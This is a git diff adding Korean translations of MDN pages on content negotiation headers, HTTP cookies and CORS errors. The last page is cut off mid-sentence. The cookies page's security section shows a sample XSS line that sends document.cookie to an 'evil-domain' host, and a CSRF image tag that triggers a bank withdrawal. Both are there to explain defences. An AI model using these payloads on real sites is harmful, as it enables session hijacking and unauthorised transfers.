헤더</h3> + +<p>{{HTTPHeader("Accept")}} 헤더는 에이전트가 처리하고자 하는 미디어 리소스의 MIME 타입을 나열합니다. 그것은 MIME 타입을 쉼표로 구분한 목록이며, 각각 품질 인자와 함께 나열되어 있으며, 다른 MIME 타입 사이의 상대적인 선호도를 나타내는 파라메터이기도 합니다.</p> + +<p>{{HTTPHeader("Accept")}} 헤더는 브라우저나 다른 에이전트에 의해 정의되며 HTML 페이지 혹은 이미지나 비디오 또는 스크립트들을 가져오는 것처럼, 컨텍스트에 따라 다양해질 수 있습니다: 주소창에 입력된 문서를 내려 받을 때와 {{ HTMLElement("img") }}, {{ HTMLElement("video") }} 혹은 {{ HTMLElement("audio") }} 엘리먼트를 통해 링크된 요소를 내려받을 때가 다릅니다. 브라우저는 그들이 판단하기에 가장 적절한 헤더의 값을 마음껏 사용할 것입니다; <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">일반적인 브라우저를 위한 기본적인 값</a>의 전체 목록을 참고하기 바랍니다.</p> + +<h3 id="Accept-CH_헤더_experimental_inline"><code>Accept-CH</code> 헤더 {{experimental_inline}}</h3> + +<div class="note"> +<p>이것은 <em>클라이언트 힌트</em>라고 불리는 <strong>실험적인</strong> 기술의 일부로 현재 크롬 46과 그 이후 버전에서만 구현되어 있습니다.</p> +</div> + +<p>실험적인 {{HTTPHeader("Accept-CH")}}는 적합한 응답을 선택하기 위해 서버가 사용할 수 있는 설정 데이터를 나열합니다. 유효한 값들은 다음과 같습니다:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">값</th> + <th scope="col">의미</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>DPR</code></td> + <td>클라이언트 기기의 픽셀 비율(ratio)을 가르킵니다.</td> + </tr> + <tr> + <td><code>Viewport-Width</code></td> + <td>CSS 픽셀에서의 레이아웃 뷰포트를 가리킵니다. </td> + </tr> + <tr> + <td><code>Width</code></td> + <td>물리적인 픽셀에서의 리소스 너비를 가리킵니다(다시 말해 이미지의 고유 사이즈).</td> + </tr> + </tbody> +</table> + +<h3 id="Accept-Charset_헤더"><code>Accept-Charset</code> 헤더</h3> + +<p>{{HTTPHeader("Accept-Charset")}} 헤더는 사용자 에이너트가 어떤 종류의 캐릭터 인코딩을 이해할 수 있는지를 서버에게 알려줍니다. 전통적으로, 그것은 브라우저에 대해 각 지역을 위해 서로 다른 값을 설정하는데 사용되어 왔습니다. 예로 들자면, 서부 유럽 지역을 위해서는 <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code>처럼 설정했었습니다.</p> + +<p>UTF-8이 현재는 잘 지원되고 있고 인코딩 캐릭터로써 선호하는 방식이 되고 있는 상황에서, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">더 적은 설정 기반의 엔트로피(불확실성)를 통해 좀 더 나은 개인정보 보호를 보장하기 위해</a>, 대부분의 브라우저들은 <code>Accept-Charset</code> 헤더를 생략하고 있습니다: Internet Explorer 8, Safari 5, Opera 11 그리고 Firefox 10은 이 헤더를 폐기했습니다.</p> + +<h3 id="Accept-Encoding_헤더"><code>Accept-Encoding</code> 헤더</h3> + +<p>{{HTTPHeader("Accept-Encoding")}} 헤더는 수용 가능한 (압축을 지원하는) 컨텐츠 인코딩을 정의하고 있습니다. 값은 인코딩 값의 우선 순위를 가리키는 q 인자 목록(예를 들어, : <code>br, gzip;q=0.8</code>)입니다. 기본값 <code>identity</code>는 가장 낮은 우선 순위입니다(선언된 것이 없는 경우).</p> + +<p>HTTP 메시지 압축은 웹 사이트의 성능을 높이는 가장 중요한 방법이며, 전송 데이터의 크기를 줄여주며 가용할 수 있는 대역폭을 더 좋은 상태로 만들어줍니다; 브라우저는 항상 이 헤더를 전송하며 서버는 그것을 받아들이고 압축을 사용하도록 구성되어 있어야 합니다.</p> + +<h3 id="Accept-Language_헤더"><code>Accept-Language</code> 헤더</h3> + +<p>{{HTTPHeader("Accept-Language")}} 헤더는 사용자가 선호하는 언어를 가리키는데 사용됩니다. 그것은 품질 인자를 가진 값 목록입니다(<code>"de, en;q=0.7</code>"). 기본 값은 사용자 에이전트의 그래픽 인터페이스 언어와 관련하여 설정되지만, 대부분의 브라우저들은 다른 언어 설정을 허용합니다.</p> + +<p><a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">구성 기반의 엔트로피</a>의 증가로, 사용자 판별에 수정된 값을 사용할 수 없고, 그것을 수정하는 것은 권장되지 않으며 웹 사이트는 사용자의 실제 요구를 반영하기 위해 이 값을 신뢰할 수 없습니다. 이 헤더를 통해 감지된 언어가 좋지 않은 사용자 경험을 유발할 수도 있으므로 사이트 설계자는 해당 헤더 값을 맹신해서는 안 됩니다:</p> + +<ul> + <li>사이트 설계자들은 서버에서 선택한 언어가 아닌 다른 언어를 선택할 수 있는 방법을 제공해야 합니다. 예를 들자면 사이트 상에 언어 메뉴를 제공하는 것이죠. 대부분의 사용자 에이전트들은 사용자 인터페이스 언어에서 차용된 값을 <code>Accept-Language</code> 헤더의 기본값으로 제공하는데, 최종 사용자는, 예를 들어서 인터넷 카페 같은데서, 대게 어떻게 하는지 몰라서, 혹은 그것이 가능한지 몰라서, 그것을 수정하지 않습니다.</li> + <li>사용자가 서버가 선택한 언어를 재정의하고 나면, 사이트는 더 이상 언어 감지를 사용해서는 안되며 명시적으로 선택된 언어를 인정해야 합니다. 다시 말하자면, 사이트의 엔트리 페이지에서만 이 헤더를 사용하여 적당한 언어를 선택해야 합니다.</li> +</ul> + +<h3 id="User-Agent_헤더"><code>User-Agent</code> 헤더</h3> + +<div class="note"> +<p>컨텐츠를 선택함에 있어 이 헤더를 정당하게 사용한다고 할지라도, 사용자 에이전트가 지원하는 것이 무엇인지를 정의하려고 이 헤더에 의지하는 것은 <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">나쁜 습관으로 간주됩니다</a>.</p> +</div> + +<p>{{HTTPHeader("User-Agent")}} 헤더는 요청을 전송하는 브라우저를 식별하게 해줍니다. 이 문자열은 공백 문자로 구분된 <em>제품 토큰(product tokens)</em>과 <em>코멘트</em> 목록을 포함합니다.</p> + +<p><em>제품 토큰(product token)</em>은 <code>Firefox/4.0.1</code>처럼 브라우저 이름 뒤에 '<code>/</code>'와 버전 번호가 오는 이름입니다. 사용자가 에이전트가 원하는 만큼 많은 수의 이름이 올 수 있습니다. <em>코멘트</em>는 둥근 괄호를 경계로 하는 자유 문자열입니다. 분명한 것은 괄호가 문자열 안에서는 사용될 수 없다는 것입니다. 코멘트의 내부 형식은 표준으로 정해진 것은 없으나 몇몇 브라우저들은 '<code>;</code>'로 구분하여 그 안에 몇 개의 토큰을 넣습니다.</p> + +<h3 id="Vary_응답_헤더"><code>Vary</code> 응답 헤더</h3> + +<p>이전에 봤던 클라이언트에 의해 전송되는 <code>Accept-*</code> 헤더들과는 달리, {{HTTPHeader("Vary")}} HTTP 헤더는 웹 서버에 의한 응답 내로 전달됩니다. 이 헤더는 서버 주도 컨텐츠 협상의 과정 중에 서버에 의해 사용되는 헤더들의 목록을 나타냅니다. 이 헤더는 결정 기준 캐시를 알리기 위해 필요하므로 사용자에게 잘못된 컨텐츠를 제공하는 일을 방지하는 동안 캐시가 가동되게 허용하도록 캐시를 복제할 수 있습니다.</p> + +<p>특별한 값인 '<code>*</code>'은 서버 주도 컨텐츠 협상이 적합한 컨텐츠 선택을 위해 헤더로 전달되지 않은 정보도 사용한다는 것을 의미합니다.</p> + +<p><code>Vary</code> 헤더는 HTTP 1.1 버전에서 추가되었으며 캐시를 적절하게 동작하도록 허용하는 일이 불필요합니다. 캐시는, 에이전트 주도 컨텐츠 협상과 함께 동작하도록 하기 위해, 전송된 컨텐츠를 선택하도록 서버에 의해 사용되었던 기준이 어떤 것인지 알 필요가 있습니다. 그런 방법으로, 캐시는 알고리즘을 재연할 수 있으며 서버에 추가적인 요청없이도 수용 가능한 컨텐츠를 직접 서브할 수 있게 될 것입니다. 확실히, 캐시는 무슨 요소가 뒤에 있는지 알 수 없으므로, '<code>*</code>' 와일드카드는 현재 일어나고 있는 일들로부터 캐시되는 것을 방지합니다.</p> + +<h2 id="에이전트_주도_협상">에이전트 주도 협상</h2> + +<p>서버 주도 협상은 몇 가지 불리한 점 때문에 고통을 줍니다: 그것은 확장하기가 용이하지 않습니다. 협상 내에서 사용하는 기능 당 한 가지 헤더가 존재해야 합니다. 만약 스크린 크기, 해상도 혹은 또 다른 치수를 사용하고자 한다면, 새로운 HTTP 헤더가 반드시 만들어져야 합니다. 헤더의 전송은 반드시 모든 요청 상에서 이루어져야 합니다. 이것은 몇몇 헤더들에 있어서는 그리 문제될 것은 아니지만, 그런 헤더들이 결국 증가하여, 메시지 사이즈가 성능에 악영향이 끼치는 상황이 올 수도 있습니다. 정확한 헤더가 전송되면 전송될수록, 불확실성도 더욱 더 전송되어, 좀 더 많은 HTTP 흔적과 그와 관련된 개인정보들이 남게 됩니다.</p> + +<p>HTTP의 초창기부터, 프로토콜은 또 다른 협상 유형을 허용했습니다: <em>에이전트 주도 협상</em> 혹은 <em>리액티브 협상</em>. 이 협상에서, 애매모호한 요청과 맞닥뜨렸을 경우, 서버는 사용 가능한 대체 리소스들에 대한 링크를 포함하고 있는 페이지를 회신하게 됩니다. 사용자는 해당 리소스들을 표시하고 사용하려는 리소스를 선택하게 됩니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p> + +<p>불행하게도, HTTP 표준은 그 과정을 쉽게 자동화하는 것을 막는, 사용 가능한 리소스 중에서 선택하도록 허용하는 페이지의 형식을 명시하지 않고 있습니다. 게다가 서버 주도 협상으로의 회귀로, 이 방법은 스크립팅, 특히 자바스크립트 리다이렉션과 함께 거의 항상 사용됩니다: 협상 기준을 점검하고 난 뒤에, 스크립트는 리다이렉션을 실행합니다. 두번째 문제는 실제 리소스를 가져오는데 한 개 이상의 요청이 필요로 해서, 사용자에 대한 리소스 효용성이 떨어진다는 것입니다.</p> diff --git a/files/ko/web/http/cookies/index.html b/files/ko/web/http/cookies/index.html new file mode 100644 index 0000000000..4f676c96d7 --- /dev/null +++ b/files/ko/web/http/cookies/index.html @@ -0,0 +1,201 @@ +--- +title: HTTP 쿠키 +slug: Web/HTTP/Cookies +translation_of: Web/HTTP/Cookies +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP 쿠키(웹 쿠키, 브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각입니다. 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 함께 전송합니다. 쿠키는 두 요청이 동일한 브라우저에서 들어왔는지 아닌지를 판단할 때 주로 사용합니다. 이를 이용하면 사용자의 로그인 상태를 유지할 수 있습니다. 상태가 없는(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a>) HTTP 프로토콜에서 상태 정보를 기억시켜주기 때문입니다.</p> + +<p>쿠키는 주로 세 가지 목적을 위해 사용됩니다:</p> + +<dl> + <dt>세션 관리(Session management)</dt> + <dd>서버에 저장해야 할 로그인, 장바구니, 게임 스코어 등의 정보 관리</dd> + <dt>개인화(Personalization)</dt> + <dd>사용자 선호, 테마 등의 세팅</dd> + <dt>트래킹(Tracking)</dt> + <dd>사용자 행동을 기록하고 분석하는 용도</dd> +</dl> + +<p>과거엔 클라이언트 측에 정보를 저장할 때 쿠키를 주로 사용하곤 했습니다. 쿠키를 사용하는 게 데이터를 클라이언트 측에 저장할 수 있는 유일한 방법이었을 때는 이 방법이 타당했지만, 지금은modern storage APIs를 사용해 정보를 저장하는 걸 권장합니다. 모든 요청마다 쿠키가 함께 전송되기 때문에, (특히 mobile data connections에서) 성능이 떨어지는 원인이 될 수 있습니다. 정보를 클라이언트 측에 저장하려면 Modern APIs의 종류인 <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">웹 스토리지 API</a> (<code>localStorage</code>와 <code>sessionStorage</code>) 와<a href="/en-US/docs/Web/API/IndexedDB_API"> IndexedDB</a>를 사용하면 됩니다.</p> + +<div class="note"> +<p>저장된 쿠키(그리고 웹 페이지가 사용할 수 있는 다른 스토리지)를 보려면, 개발자 도구에서 <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector(스토리지 검사기)</a>를 활성화하고 스토리지 트리에서 쿠키 스토리지를 선택하면 됩니다.</p> +</div> + +<h2 id="쿠키_만들기">쿠키 만들기</h2> + +<p>HTTP 요청을 수신할 때, 서버는 응답과 함께 {{HTTPHeader("Set-Cookie")}} 헤더를 전송할 수 있습니다. 쿠키는 보통 브라우저에 의해 저장되며, 그 후 쿠키는 같은 서버에 의해 만들어진 요청(Request)들의 {{HTTPHeader("Cookie")}} HTTP 헤더안에 포함되어 전송됩니다. 만료일 혹은 지속시간(duration)도 명시될 수 있고, 만료된 쿠키는 더이상 보내지지 않습니다. 추가적으로, 특정 도메인 혹은 경로 제한을 설정할 수 있으며 이는 쿠키가 보내지는 것을 제한할 수 있습니다.</p> + +<h3 id="Set-Cookie_그리고_Cookie_헤더"><code>Set-Cookie</code> 그리고 <code>Cookie</code> 헤더</h3> + +<p>{{HTTPHeader("Set-Cookie")}} HTTP 응답 헤더는 서버로부터 사용자 에이전트로 전송됩니다. 간단한 쿠키는 다음과 같이 설정될 수 있습니다:</p> + +<pre class="notranslate">Set-Cookie: <cookie-name>=<cookie-value> +</pre> + +<p>이 서버 헤더는 클라이언트에게 쿠키를 저장하라고 전달합니다.</p> + +<pre class="syntaxbox notranslate"><code>HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: yummy_cookie=choco +Set-Cookie: tasty_cookie=strawberry + +[page content]</code></pre> + +<p>이제, 서버로 전송되는 모든 요청과 함께, 브라우저는 {{HTTPHeader("Cookie")}} 헤더를 사용하여 서버로 이전에 저장했던 모든 쿠키들을 회신할 것입니다.</p> + +<pre class="syntaxbox notranslate">GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre> + +<div class="note"> +<p><strong>Note:</strong> Here's how to use the <code>Set-Cookie</code> header in various server-side applications:</p> + +<ul> + <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> + <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> + <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> + <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> +</ul> + +<dl> +</dl> +</div> + +<h3 id="쿠키의_라이프타임">쿠키의 라이프타임</h3> + +<p>쿠키의 라이프타임은 두가지 방법으로 정의할 수 있습니다:</p> + +<ul> + <li><em>세션 </em>쿠키는 현재 세션이 끝날 때 삭제됩니다. 브라우저는 "현재 세션"이 끝나는 시점을 정의하며, 어떤 브라우저들은 재시작할 때 <em>세션을 복원</em>해 세션 쿠키가 무기한 존재할 수 있도록 합니다.</li> + <li><em>영속적인 쿠키</em>는 <code>Expires</code> 속성에 명시된 날짜에 삭제되거나, <code>Max-Age</code> 속성에 명시된 기간 이후에 삭제됩니다.</li> +</ul> + +<p>예를 들면 아래와 같습니다:</p> + +<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> + +<div class="note"> +<p><strong>Note</strong>: When an expiry date is set, the time and date set is relative to the client the cookie is being set on, not the server.</p> +</div> + +<h3 id="Secure과_HttpOnly_쿠키"><code>Secure</code>과 <code>HttpOnly</code> 쿠키</h3> + +<p>Secure 쿠키는 HTTPS 프로토콜 상에서 암호화된(encrypted ) 요청일 경우에만 전송됩니다. 하지만 <code>Secure</code>일지라도 민감한 정보는 절대 쿠키에 저장되면 안됩니다, 본질적으로 안전하지 않고 이 플래그가 당신에게 실질적인 보안(real protection)를 제공하지 않기 때문입니다. 크롬52 혹은 파이어폭스52로 시작한다면, 안전하지 않은 사이트(<code>http:</code>) 는 쿠키에 <code>Secure</code> 설정을 지시할 수 없습니다.</p> + +<p>Cross-site 스크립팅 ({{Glossary("XSS")}}) 공격을 방지하기 위해, <code>HttpOnly</code>쿠키는 JavaScript의 {{domxref("Document.cookie")}} API에 접근할 수 없습니다; 그들은 서버에게 전송되기만 합니다. 예를 들어, 서버 쪽에서 지속되고 있는 세션의 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 <code>HttpOnly</code>플래그가 설정될 것입니다.</p> + +<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> + +<h3 id="쿠키의_스코프">쿠키의 스코프</h3> + +<p><code>Domain</code> 그리고 <code>Path</code> 디렉티브는 쿠키의 <em>스코프</em>를 정의합니다: 어떤 URL을 쿠키가 보내야 하는지.</p> + +<p><code>Domain</code>은 쿠키가 전송되게 될 호스트들을 명시합니다. 만약 명시되지 않는다면, (서브 도메인은 포함되지 않는) 현재 문서 위치의 호스트 일부를 기본값으로 합니다. 도메인이 명시되면, 서브도메인들은 항상 포함됩니다.</p> + +<p>만약 <code>Domain=mozilla.org</code>이 설정되면, 쿠키들은 <code>developer.mozilla.org</code>와 같은 서브도메인 상에 포함되게 됩니다.</p> + +<p><code>Path</code>는 <code>Cookie</code> 헤더를 전송하기 위하여 요청되는 URL 내에 반드시 존재해야 하는 URL 경로입니다. %x2F ("/") 문자는 디렉티브 구분자로 해석되며 서브 디렉토리들과 잘 매치될 것입니다.</p> + +<p>만약 <code>Path=/docs</code>이 설정되면, 다음의 경로들은 모두 매치될 것입니다:</p> + +<ul> + <li><code>/docs</code></li> + <li><code>/docs/Web/</code></li> + <li><code>/docs/Web/HTTP</code></li> +</ul> + +<h3 id="SameSite_쿠키_experimental_inline"><code>SameSite</code> 쿠키 {{experimental_inline}}</h3> + +<p><code>SameSite</code> 쿠키는 쿠키가 cross-site 요청과 함께 전송되지 않았음을 요구하게 만들어, cross-site 요청 위조 공격({{Glossary("CSRF")}})에 대해 어떤 보호 방법을 제공합니다. <code>SameSite</code> 쿠키는 여전히 실험 중이며 모든 브라우저에 의해 아직 제공되지 않고 있습니다.</p> + +<h3 id="Document.cookie를_사용한_자바스크립트_접근"><code>Document.cookie</code>를 사용한 자바스크립트 접근</h3> + +<p>새로운 쿠키들은 {{domxref("Document.cookie")}}를 사용해 만들어질 수도 있으며, <code>HttpOnly</code> 플래그가 설정되지 않은 경우 기본의 쿠키들은 자바스크립트로부터 잘 접근될 수 있습니다.</p> + +<pre class="brush: js notranslate">document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> + +<p>아래 <a href="/en-US/docs/Web/HTTP/Cookies#Security">보안</a> 섹션에서 다루고 있는데로 보안 관련 내용들을 잘 알아두시기 바랍니다. 자바스크립트에서 이용 가능한 쿠키들은 XSS를 통해 감청될 수 있습니다.</p> + +<ul> +</ul> + +<h2 id="보안">보안</h2> + +<div class="note"> +<p>기밀 혹은 민감한 정보는 전체 메커니즘이 본질적으로 위험하기 때문에 HTTP 쿠키 내에 저장되거나 전송되어서는 안됩니다.</p> +</div> + +<h3 id="세션_하이재킹과_XSS">세션 하이재킹과 XSS</h3> + +<p>쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 합니다. 그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있습니다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 {{Glossary("XSS")}} 취약점을 이용하는 것을 포함합니다.</p> + +<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre> + +<p><code>HttpOnly</code> 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있습니다.</p> + +<h3 id="Cross-site_요청_위조_CSRF">Cross-site 요청 위조 (CSRF)</h3> + +<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">위키피디아</a>에 {{Glossary("CSRF")}}에 대한 좋은 예제가 있습니다. 위키피디아의 예와 같은 상황에서, 당신의 은행 서버에 돈을 입금하는 실제 요청 대신에, 실제로는 이미지가 아닌 이미지를 포함시키고 있습니다(예를 들어 필터링되지 않은 채팅이나 포럼 페이지 내에):</p> + +<pre class="brush: html notranslate"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> + +<p>이제, 당신이 당신의 은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면(그리고 별 다른 검증 절차가 존재하지 않는다면), 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있습니다:</p> + +<ul> + <li>{{Glossary("XSS")}}와 마찬가지로, 입력 필터링은 중요한 문제입니다.</li> + <li>모든 민감한 동작에 필수로 요구되는 확인 절차가 항상 수행되도록 합니다.</li> + <li>민감한 동작에 사용되는 쿠키는 짧은 수명만 갖도록 합니다.</li> + <li>좀 더 많은 예방 팁은 <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF 예방 치트 시트</a>를 참고하시기 바랍니다.</li> +</ul> + +<h2 id="트래킹과_프라이버시">트래킹과 프라이버시</h2> + +<h3 id="서드파티_쿠키">서드파티 쿠키</h3> + +<p>쿠키는 그와 관련된 도메인을 가집니다. 이 도메인이 당신이 현재 보고 있는 페이지의 도메인과 동일하다면, 그 쿠키는 <em>퍼스트파티 쿠키</em>라고 불립니다. 만약 도메인이 다르다면, <em>서드파티 쿠키</em>라고 부릅니다. 퍼스트파티 쿠키가 그것을 설정한 서버에만 전송되는데 반해, 웹 페이지는 다른 도메인의 서버 상에 저장된 (광고 배너와 같은) 이미지 혹은 컴포넌트를 포함할 수도 있습니다. 이러한 서드파티 컴포넌트를 통해 전송되는 쿠키들을 서드파티 쿠키라고 부르며 웹을 통한 광고와 트래킹에 주로 사용됩니다. <a href="https://www.google.com/policies/technologies/types/">구글이 사용하는 쿠키 타입</a>을 예로 참고하시기 바랍니다. 대부분의 브라우저들은 기본적으로 서드파티 쿠키를 따르지만, 그것을 차단하는데 이용되는 애드온들이 있습니다(예를 들어, <a href="https://www.eff.org/">EFF</a>이 만든 <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a>이 있습니다).</p> + +<p>당신이 만약 서드파티 쿠키를 공개하고 있지 않다면, 쿠키 사용이 밝혀질 경우 소비자 신뢰를 잃을 수도 있습니다. (프라이버시 정책과 같은) 명백한 공개는 쿠키 발견과 관련된 모든 부정적인 효과를 없애는 경향이 있습니다. 어떤 국가들은 쿠키에 관한 법률도 가지고 있습니다. 위키피디아의 <a href="https://wikimediafoundation.org/wiki/Cookie_statement">쿠키 구문</a>을 예로 참고하시기 바랍니다.</p> + +<ul> +</ul> + +<h3 id="Do-Not-Track">Do-Not-Track</h3> + +<p>쿠키 사용에 대한 합법적이거나 기술적인 요구사항은 없지만, {{HTTPHeader("DNT")}} 헤더는 웹 애플리케이션이 트래킹 혹은 개인 사용자의 cross-site 사용자 트래킹 모두를 비활성화하는 신호로 사용될 수 있습니다. 좀 더 자세한 내용은 {{HTTPHeader("DNT")}} 헤더를 참고하시기 바랍니다.</p> + +<h3 id="EU_쿠키_디렉티브">EU 쿠키 디렉티브</h3> + +<p>EU 전역의 쿠키에 대한 요구사항은 유럽 의회의 <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>에 정의되어 있으며 2011년 5월 25일에 발효되었습니다. 디렉티브는 그 자체로 법은 아니지만, 디렉티브의 요구사항을 만족시키는 법을 제정하려는 EU 회원국들을 위한 요구사항입니다. 실제 법들은 나라마다 다를 수 있습니다.</p> + +<p>짧게 말하자면, EU 디렉티브는 컴퓨터, 모바일 폰 혹은 다른 기기들에서 누군가가 어떤 정보든지 저장하거나 검색하기 전에, 사용자는 그렇게 하기 위해 사전 동의해야만 한다는 내용입니다. 많은 웹 사이트들은 사용자가에게 쿠키 사용에 대한 내용을 알려준 뒤에 배너들을 추가할 수 있습니다.</p> + +<p>좀 더 자세한 내용은 <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">여기 위키피디아 섹션</a>을 보시고 가장 최근의 가장 정확한 정보는 국가법을 참고하시기 바랍니다.</p> + +<h3 id="좀비_쿠키와_Evercookies">좀비 쿠키와 Evercookies</h3> + +<p>쿠키에 대한 좀 더 급진적인 해결책은 삭제 이후에 다시 생성되는 좀비 쿠키 혹은 "Evercookies"이며 의도적으로 영원히 제거하는 것이 어려운 쿠키입니다. 그들은 쿠키가 존재 여부와 관계없이 그들 자신을 다시 만들어내기 위해 <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">웹 스토리지 API</a>, Flash 로컬 공유 객체 그리고 다른 기술들을 사용하고 있습니다.</p> + +<ul> + <li><a href="https://github.com/samyk/evercookie">Samy Kamkar의 Evercookie</a></li> + <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">좀비 쿠키에 대한 위키피디아</a></li> +</ul> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> + <li>{{domxref("Navigator.cookieEnabled")}}</li> + <li><a href="/en-US/docs/Tools/Storage_Inspector">스토리지 검사기를 사용하여 쿠키 검사하기</a></li> + <li><a class="external" href="https://tools.ietf.org/html/rfc6265">쿠키 명세: RFC 6265</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">쿠키에 대한 Nicholas Zakas의 글</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">쿠키와 보안에 대한 Nicholas Zakas의 글</a></li> + <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP 쿠키에 대한 위키피디아</a></li> +</ul> diff --git a/files/ko/web/http/cors/errors/corsdidnotsucceed/index.html b/files/ko/web/http/cors/errors/corsdidnotsucceed/index.html new file mode 100644 index 0000000000..4cb694d0d5 --- /dev/null +++ b/files/ko/web/http/cors/errors/corsdidnotsucceed/index.html @@ -0,0 +1,22 @@ +--- +title: 'Reason: CORS request did not succeed' +slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="원인">원인</h2> + +<pre class="syntaxbox">원인: CORS 요청이 성공하지 못했습니다.</pre> + +<h2 id="무엇이_문제인가요">무엇이 문제인가요?</h2> + +<p>네트워크 또는 프로토콜 수준에서 HTTP 연결이 실패했기 때문에 CORS를 사용하는 {{Glossary("HTTP")}} 요청이 실패했습니다. 이 에러는 근본적인 네트워크 에러이거나 그에 준하는 에러로 CORS와 직접적인 연관이 있는 것은 아닙니다.</p> + +<h2 id="더_보기">더 보기</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS 에러</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS 소개</a></li> +</ul> diff --git a/files/ko/web/http/cors/errors/corsrequestnothttp/index.html b/files/ko/web/http/cors/errors/corsrequestnothttp/index.html new file mode 100644 index 0000000000..9c583d82fa --- /dev/null +++ b/files/ko/web/http/cors/errors/corsrequestnothttp/index.html @@ -0,0 +1,43 @@ +--- +title: 'Reason: CORS request not HTTP' +slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp +tags: + - CORS + - CORSRequestNotHttp + - HTTP + - HTTPS + - 메시지 + - 문제해결 + - 보안 + - 에러 + - 이유 + - 콘솔 + - 크로스 오리진 +translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="이유">이유</h2> + +<pre class="syntaxbox">Reason: CORS request not HTTP</pre> + +<h2 id="무엇이_잘못되었는가">무엇이 잘못되었는가?</h2> + +<p>{{Glossary("CORS")}} 요청은 오직 HTTPS URL 스키마만을 사용할 수 있지만 요청에 의해 지정된 URL은 다른 타입이다. 이는 URL이 <code>file:///</code> URL을 사용해 로컬 파일을 지정할 경우 종종 발생한다.</p> + +<p>이 문제를 해결하려면, {{domxref("XMLHttpRequest")}}, <a href="/ko/docs/Web/API/Fetch_API">Fetch</a> APIs, 웹 폰트 (<code>@font-face</code>), <a href="/ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL textures</a>, XSL 스타일시트와 같은 CORS를 포함하는 요청이 발생할 때 HTTPS URL을 사용하고 있는지 확인하도록 한다.</p> + +<h3 id="Firefox_68에서의_로컬_파일_보안">Firefox 68에서의 로컬 파일 보안</h3> + +<p>Firefox 67 이전 버전에서 <code>file:///</code> URI를 사용하는 페이지를 열때 페이지의 오리진은 페이지가 열린 디렉토리로 정의된다. 동일한 디렉토리와 그 하위 디렉토리의 리소스들은 CORS 동일-오리진 규칙의 목적을 위한 동일 오리진을 갖는 것으로 처리된다.</p> + +<p><a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730">CVE-2019-11730</a>에 대한 응답으로, Firefox 68 이후 버전에서는 <code>file:///</code> URI를 사용해 열린 페이지의 오리진은 유니크한 것으로 정의된다. 그러므로, 동일 디렉토리나 